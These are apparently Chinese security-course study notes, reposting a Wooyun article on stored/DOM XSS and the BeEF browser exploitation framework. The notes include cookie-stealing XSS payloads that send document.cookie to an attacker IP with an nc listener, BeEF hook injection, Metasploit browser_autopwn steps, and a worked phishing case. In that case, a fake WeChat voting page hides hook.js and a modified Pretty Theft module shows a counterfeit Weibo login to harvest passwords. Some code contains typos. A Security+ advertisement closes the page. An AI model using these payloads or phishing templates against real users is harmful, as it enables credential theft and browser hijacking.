【安全牛学习笔记】存储型XSS和BEEF浏览器攻击框架

来源:互联网 发布:淘宝搜同款 编辑:程序博客网 时间:2024/06/05 15:12

存储型XSS                                                          

    长期存储于服务器端                                       

    每次用于访问都会被执行javascript脚本                   

Name:客户端表单长度限制                               

    客户端、截断代理                                                 

<script src=http://1.1.1.1/a.js></script>                             

a.js源码                                                            

    var img = new Image();                              

    img.src = "http://1.1.1.1:88/cookies.php?cookie="+documnet.cookie;

root@R:~# netstat -pantu | grep 80

tcp        0      0 127.0.0.1:80            0.0.0.0:*         LISTEN       771/gsad

tcp        0      0 192.168.1.102:34212     140.98.195.27.80  ESTABLISHED  2840/wget

tcp6       0      127.0.0.1:8080            :::*              LISTEN       2387/java

root@R:~# kill 771

root@R:~# service apache2 start

root@R:~# cd /var/www/html/

root@R:/var/www/html# gedit a.js

var img = new Image();

img.src = "http://192.168.1.102:88/cookies.php?cookie="+documnet.cookie;

root@R:~# nc -nlvp 88

----------------------------------------------------------------------

低安全代码

<?php

if(isset($_POST['btnSign']))

{

    $message = trim($_POST['mixMessage']);

    $name    = trim($_POST['txtName]);

    // Sanitize message input

    $message = stripslashes($message);

    $message = mysql_real_escape_string($message);

    // Sanitize name input

    $name = mysql_real_escape_string($name);

    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

---------------------------------------------------------------------------

中安全代码

<?php

if(isset($_POST['btnSign']))

{

    $message = trim($_POST['mixMessage']);

    $name    = trim($_POST['txtName]);

    // Sanitize message input

    $message = trim(strip_tags(addslashed($message)));

    $message = mysql_real_escape_string($message);

    $message = htmlspecialchars($message);

    // Sanitize name input

    $name = str_replace('<script>','',$name);

    $name = mysql_real_escape_string($name);

    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

----------------------------------------------------------------------------------

高安全代码

<?php

if(isset($_POST['btnSign']))

{

    $message = trim($_POST['mixMessage']);

    $name    = trim($_POST['txtName]);

    // Sanitize message input

    $message = stripslashes($message);

    $message = mysql_real_escape_string($message);

    $message = htmlspecialchars($message);

    // Sanitize name input

    $name = str_replace('<script>','',$name);

    $name = mysql_real_escape_string($name);

    $name = htmlspecialchars($name);

    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

----------------------------------------------------------------------------------

wKiom1nPRe6BGJ8NAAANe1oD2uM948.png

XSS                                                         

DOM型XSS                                                                  

    <script>var                                       

    img=document.createElememt("img");img.src="http://192.168.1.102:88/log

    ?"+escape(document.cookie);</script>

root@R:~# vi 1

<script>var img=document.createElememt("img");img.src="http://192.168.1.102:88/log?"+escape(document.cookie);</script>

root@R:~# nc -nlvp 88

BEEF                                                

浏览器攻击面                                        

    应用普遍转移到B/S架构,浏览器成为统一客户端程序

    结合社会工程学方法对浏览器进行攻击              

    攻击浏览器用户                                  

    通过注入的JS脚本,利用浏览器攻击其他网站        

Beff(Brower exploitation framework)                 

    生成、交付palyload                              

    Ruby语言编写                                    

    服务器端:管理hooked客户端                      

    客户端:运行与客户端浏览器的Javascript脚本(hook)

BEEF                                

攻击手段                            

    利用网站xss漏洞实现攻击         

    诱使客户端访问含有hook的伪造站点

    结合中介人攻击注入hook脚本      

常见用途                            

    键盘记录器                      

    网盘扫描                        

    浏览器信息收集                  

    绑定shell                       

    与metasploit集成

BEEF                                                                     

演示页面:http://<IP_BeEF_Server>:3000/demos/basic.html         

Details:                          

    浏览器、插件版本信息;操作系统信息                          

Logs: 

    浏览器工作:焦点变化、鼠标点击、信息输入                    

Commands:命令模块            

    绿色模块:表示模块适合目标浏览器,并且执行结果被客户端不可见

    红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行

    橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)   

    灰色模块:模块末在目标浏览器上测试过

beef xss framework

[*] Please wait as BeEF services are started.

[*] You might need to refresh your browser once it opens.

[*] UI URL: http://127.0.0.1:3000/ui/panel

[*] Hook: <script src="http://<IP>:3000/hook.js"></script>

[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

192.168.1.102:3000/hook.js

<script src="http://127.0.0.1:3000/hook.js"></script>

BEEF            

主要模块        

    Browsers    

    Exploits    

    Host        

    Persistence

    Network

0x00 前言

BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认识。

这里写图片描述

0x01 简介

工具主页:http://beefproject.com

工具框架:

这里写图片描述

0x02 测试环境

攻击主机:

操作系统:Kali 1.0

IP:192.168.16.245

测试主机:

操作系统:Win7x86

IP:192.168.16.197

路由器:

WooyunWifi

开启JS注入功能

这里写图片描述

Tips:

WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码,如果JS代码设置成如下格式,那么运行后会在BeEF控制端返回一个shell

document.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>");

默认情况下JS注入附带缓存投毒功能,将视图缓存所有的页面至2099年,但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。

0x03BeEF参数配置

BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf

1、修改config.yaml

root@kali:~# leafpad /usr/share/beef-xss/config.yaml

metasploit:

            enable: false改为true

root@kali:~# leafpad /usr/share/beef-xss/extensions/demos/config.yaml

enable:true改为false

root@kali:~# leafpad /usr/share/beef-xss/extensions/metasploit/config.yaml

设置

    ssl: true

    ssl_version: 'TLSv1'

2、启动msf服务

root@kali:~# service postgresql start

root@kali:~# service metasploit start

root@kali:~# msfconsole

load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y

3、运行BeEF.rb

root@kali:~# cd /usr/share/beef-xss/

root@kali:/usr/share/beef-xss# '/usr/share/beef-xss/beef'

[14:07:42][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].

[14:07:42][*] Browser Exploitation Framework (BeEF) 0.4.6.1-alpha

[14:07:42]    |   Twit: @beefproject

[14:07:42]    |   Site: http://beefproject.com

[14:07:42]    |   Blog: http://blog.beefproject.com

[14:07:42]    |_  Wiki: https://github.com/beefproject/beef/wiki

[14:07:42][*] Project Creator: Wade Alcorn (@WadeAlcorn)

[14:07:42][*] BeEF is loading. Wait a few seconds...

[14:07:45][*] 13 extensions enabled.

[14:07:45][*] 254 modules enabled.

[14:07:45][*] 2 network interfaces were detected.

[14:07:45][+] running on network interface: 127.0.0.1

[14:07:45]    |   Hook URL: http://127.0.0.1:3000/hook.js

[14:07:45]    |_  UI URL:   http://127.0.0.1:3000/ui/panel

[14:07:45][+] running on network interface: 192.168.23.130

[14:07:45]    |   Hook URL: http://192.168.23.130:3000/hook.js

[14:07:45]    |_  UI URL:   http://192.168.23.130:3000/ui/panel

[14:07:45][*] RESTful API key: f9669b813a4b680d616d235a7016be93b17b3d03

[14:07:45][*] DNS Server: 127.0.0.1:5300 (udp)

[14:07:45]    |   Upstream Server: 8.8.8.8:53 (udp)

[14:07:45]    |_  Upstream Server: 8.8.8.8:53 (tcp)

[14:07:45][*] HTTP Proxy: http://127.0.0.1:6789

[14:07:45][*] BeEF server started (press control+c to stop)

[14:07:45][!] Another process is already listening on port 3000, or you're trying to bind BeEF to an invalid IP.

[14:07:45][!] Is BeEF already running? Exiting...

(启动后不要关闭,不然登录界面会提示密码错误)

4、启动BeEF

弹出浏览器,输入默认用户名口令beef,即可登陆

0x04 功能介绍

对基本功能做全面介绍,高级用法以后会做补充

1-信息收集

1、浏览器信息 可收集:

浏览器名称版本

浏览器用户版本

插件(包括Java,ActiveX,VBS,Flash……)

窗口大小

收集方法:

(1)自动默认收集信息

(2)插件收集信息

Tips:

模块图标不同颜色对应不同的使用效果

绿色:适用当前浏览器

橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色

红色:不适于当前浏览器,但仍可尝试

2、系统信息

可收集:

安装的软件(适用于IE下,Detect Software模块)

注册表键值(适用于IE下,此时会弹出提示消息)

内网IP(Java模块得到授权)

系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式)

定位(通过Google maps)

剪贴板信息(会弹出提示消息)

3、用户行为

可收集:

用户是否访问过某URL、domain

是否登录特定网站账号

是否使用TOR

2-社会工程

如果使用BeEF控制了浏览器,那么就可以修改整个页面来尝试社会工程学

1、提交登录信息

简单粗暴往往是最有效的

Pretty Theft模块:

在网页弹出诱骗消息需要用户输入登录和密码,并解释该会话已超时

选择的登录框模板

配置后用户浏览器界面

当用户输入信息后,自动获取

Simple Hijacker模块:

劫持网页上面的所有链接,当用户点击任意链接时弹出诱骗消息,如果用户接着点击会跳转到指定域名

Clippy模块:

创建一个浏览器助手提示用户点击

2、重定向

Rediret Browser模块:

将当前页面重定向至指定页面,有可能导致当前权限丢失

Rediret Browser(iframe)模块:

将当前页面重定向至指定页面,,同时保留当前连接,可以维持当前浏览器权限

TabNabbing模块:

当检测用户不在当前页面时启动定时器,倒计时结束后自动重定向至指定页面

3、Chrome/Firefox extensions

Fake Flash Update模块:

提示用户安装Adobe Flash Player的更新,用户点击后会下载指定文件

Chrome Extensions 系列:

值得尝试

4、补充

Clickjacking模块:

可以使用multi-click clickjacking,判断当前用户鼠标位置,在不同位置可触发不同JS代码

鼠标后面跟随一个iframe

3-网络扫描

通过JavaScript,可以尝试利用浏览器扫描内网

1、获取内网IP

Get Internal IP WebRTC模块:

通过WebRTC获取内网IP

Get Internal IP模块:

通过Java Socket class获取内网IP

2、识别局域网子网

识别内网网关

3、识别HTTP Servers

识别内网web servers

4、ping操作

调用ping命令扫描内网

Ping Sweep模块 Ping Sweep (Java)模块

5、跨域扫描

6、DNS枚举

7、端口扫描

Port Scanner模块

8、网络指纹特征扫描

用来扫描内网中的Web服务器和网络设备

Fingerprint Network模块

9、Remote CSRFs

10、IRC NAT Pinning

模拟浏览器的IRC通信,可用来绕过防火墙

11、网络拓扑

BeEF可根据扫描获得的信息绘制内网网络拓扑

此部分会在以后详细介绍

4-结合Metasploit

1、Metasploit系列模块

2、Browser Autopwn

反弹回meterpreter

方法:

(1)使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL

use auxiliary/server/browser_autopwn

show options

set LHOST 192.168.16.245

set SRVHOST 192.168.16.245

set SRVPORT 8881

run -z

生成一个链接

(2)使用"Create Invisible Iframe"模块加载autopwn页面

(3)等待弹回shell

sessions -l

5-Tunneling

代理功能

方法:

1、选择控制的浏览器

2、浏览器代理设置

HTTP Proxy:127.0.0.1

Port:6789

细节以后补充

3、访问同样网站,查看本机浏览器页面同被控浏览器页面内容是否相同(即不需要cookie可实现登录账号)

6-XSS

节以后补充

7-维持权限

1、Create Pop Under模块

创建一个新窗口

反弹一个新权限

2、Confirm Close Tab模块

当用户关闭当前页面时,反复弹出确认是否关闭页面的消息

3、Create Foreground iFrame模块 修改当前页面所有链接来避免离开当前页面

比如用户点击某个连接,会将新页面显示在当前页面上面,注意的是网址不会发送改变

正常访问的页面为:(注意看地址栏)

4、Man In The Browser模块

可拦截修改页面内所有链接,当用户点击当前页面的任意链接后仍可维持权限(必须是同源的页面)

如果用户手动更改URL地址栏,无法维持权限

0x05 小结

本文仅对BeEF的基本功能做了全面介绍,更多高级技巧很值得研究,例如利用BeEF内网渗透,利用代理不通过cookie登陆账户突破IP限制绑定等等。

测试过程难免会有疏忽遗漏,理解错误的地方欢迎指正,共同进步。

本文由三好学生原创并首发于乌云drops,转载请注明

0x06 补充

对手机平台的微信使用BeEF进行模拟测试

手机系统:

Android

1、上线方法:

1、扫描二维码

扫描后在BeEF控制端看到手机上线

对此页面进行Google Phishing欺骗

注:

在微信上面特别的地方在于此处无法看到包含的真实URL地址

2、朋友圈分享

将BeEF的上线地址做一下简单的伪装并分享到朋友圈

在朋友圈中同样无法看到包含的真实URL地址,打开即为BeEF的hook页面

3、朋友发来的链接

将此消息直接发给朋友

我们可以看到伪造前的URL地址

注:

BeEF的hook页面可以自定义成更具欺骗性的内容,这是为了演示方便使用默认界面

2、微信浏览器被Hook后可以做哪些操作

也许有人会提出疑问:手机打开网址持续的时间很短,关闭当前页面后BeEF的shell就会下线

解决方法:

使用BeEF API,用户上线后能够自动执行批量命令,结合Persistence模块能够极大提高shell存活时间

除了与windows系统相关的信息无法获取,其他操作均能成功执行,并且BeEF为手机劫持提供了专门的模块系列——Phonegap

以下是经测试可以在Android上使用的模块:

1、弹框

2、重定向 

3、查看是否访问过某些网站

4、Creates an invisible iframe

5、Social Engineering系列,如下图,仅作演示 

6、msf系列

7、NetWork系列,可以用来扫描同一内网下的windows主机

注:

加载hook页面后,将手机屏幕关闭处于待机状态,BeEF仍然可以执行指令,或许这与手机系统相关,值得以后深入测试。

0x07 利用朋友圈投票社工微博帐号实例

1、伪造BeEF的hook页面

1、寻找模板

随机找到一个投票的页面,保存为html

http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd

2、替换hook页面

在use/share/beef-xss/extensions/demos/html目录下,将上述html文件命名为basic.html并添加以下代码

var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" 

type="text/javascript"><\/script>';

        document.write(commandModuleStr);

上线页面已被修改

2、修改BeEFsocial_engineering模块

修改弹出对话框样式

将此文件use/share/beef-xss/modules/social_engineering/pretty_theft/command.js内容 对应部分替换如下:

// Facebook floating div

    function facebook() {

        sneakydiv = document.createElement('div');

        sneakydiv.setAttribute('id', 'popup');

        sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background-

color:ffffff;');

        document.body.appendChild(sneakydiv);

        // Set appearance using styles, maybe cleaner way to do this with CSS block?

        var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-

radius:8px"';

        var windowmain = 'style="border:1px #555 solid;"';

        var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size: 

13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: 

left;height: 18px;"';

        var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 

8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';

        var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-

serif;margin:10px 15px;line-height:12px;height:40px;"';

        var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: 

tahoma,verdana,arial,sans-serif;padding-left:30px;"';

        var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-

left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"'; 

        var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border: 

1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';

            var title = '微博手机版安全登录';

            var messagewords = '请输入您的用户名密码登录后进行投票。<br/><br/>我们将对您的投票信息严格保密。';

            var buttonLabel = '<input type="button" name="ok" value="登录" id="ok" ' +buttonstyle+ ' 

onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" 

onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';

        // Build page including styles

        sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' 

+windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + 

messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>邮箱/会员帐号/手机号: 

</div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) 

document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div 

id="box_pre" ' +box_prestyle+ '>密码: </div></td><td align="left"><input type="password" id="pass" name="pass" 

onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ 

'/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" 

id="buttonpress" name="buttonpress" value="false"/></div></div></div>';

        // Repeatedly check if button has been pressed

        credgrabber = setInterval(checker,1000);

    }

3、实际操作

1、微信朋友圈发布投票消息

用户点击后会打开我们伪造的投票页面,同时隐蔽加载hook.js,在BeEF端上线

2、在用户手机弹出模拟微博登录的对话框

执行Pretty Theft模块

BeEF控制端返回用户输入消息

3、用户提交后重定向至另一页面

BeEF控制端使用Redirect Browser(iFrame)模块

至此,通过朋友圈投票获得微博帐号成功实现

http://drops.wooyun.org/tips/9929

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?


      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

阅读全文
0 0
原创粉丝点击